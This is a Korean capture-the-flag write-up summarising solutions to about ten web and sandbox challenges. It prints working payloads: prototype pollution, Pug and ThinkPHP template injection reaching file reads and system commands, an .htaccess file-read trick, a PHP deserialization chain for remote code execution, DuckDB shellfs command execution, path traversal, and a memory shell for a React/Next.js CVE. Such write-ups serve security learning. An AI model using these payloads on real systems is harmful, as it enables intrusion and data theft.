ezjs 문제 분석
Node.js 애플리케이션에서 프로토타입 오염 및 템플릿 인젝션 취약점을 활용한 문제입니다. 세션 키는 무작위로 생성되며, 로그인 검증 함수는 다음과 같습니다.
function validateInput(obj, forbiddenKeys) {
let isValid = true;
Object.keys(obj).forEach(key => {
if (forbiddenKeys.includes(key)) {
isValid = false;
}
});
return isValid;
}
/login 경로에 프로토타입 오염 공격을 수행:
POST 데이터: {"__proto__":{"admin":true}}
관리자 세션 획득 후 /render 경로에서 Pug 템플릿 인젝션 실행:
word=#{process.mainModule.constructor._load('fs').readFileSync('/flag','utf8')}
BabyUpload 파일 업로드 취약점
파일명과 내용에 'p' 문자 필터링이 존재합니다. Apache 서버에서 .htaccess 파일을 활용한 솔루션:
ErrorDocument 404 "%{file:/flag}"
이 파일 업로드 후 존재하지 않는 경로 접속 시 플래그 노출됩니다.
React 메모리 쉘 익스플로잇
CVE-2025-55182 취약점을 이용한 공격 패킷:
Next-Action 헤더와 멀티파트 폼 데이터 활용 페이로드 내부에 Node.js 메모리 쉘 삽입 접근 경로: /exec?cmd=cat%20/f*
Lua 샌드박스 탈출
전역 객체 검색을 통해 숨겨진 함수 발견:
for k,v in pairs(_G) do if type(v)=="function" then print(k) end end
S3cr3t0sEx3cFunc() 실행으로 플래그 획득
PHP 역직렬화 익스플로잇
객체 참조를 활용한 콜백 체인 구성:
O:14:"RequestHandler":2:{
s:9:"processor";N;
s:6:"action";a:2:{
i:0;O:14:"RequestHandler":2:{...}
i:1;s:11:"__construct";
}
}
프로세서 재생성 후 execute() 호출로 RCE 달성
필터 체인 파일 쓰기
PHP 필터 체인을 이용한 웹쉘 생성:
data=php://temp/a.php?<필터 체인 페이로드> file_put_contents에 필터 적용된 PHP 코드 기록
템플릿 엔진 취약점
ThinkPHP 8.1.3의 템플릿 기능에서 SSTI 활용:
?name={$_SERVER.HTTP_CMD | system}
HTTP 헤더를 통해 명령어 전달 가능
DuckDB 데이터베이스 익스플로잇
ShellFS 확장 설치 후 명령 실행:
INSTALL shellfs;
LOAD shellfs;
SELECT * FROM read_csv('cat /f* |');
JWT 및 SSRF 취약점
Base64 디코딩 오류로 시크릿 키 유출:
잘못된 형식의 토큰 전송 → traceback.format_exc()에서 SECRET_KEY 유출
FastMCP 프레임워크에서 경로 탐색:
resources/read?uri=base64://tmp/%2f..%2froot%2fflag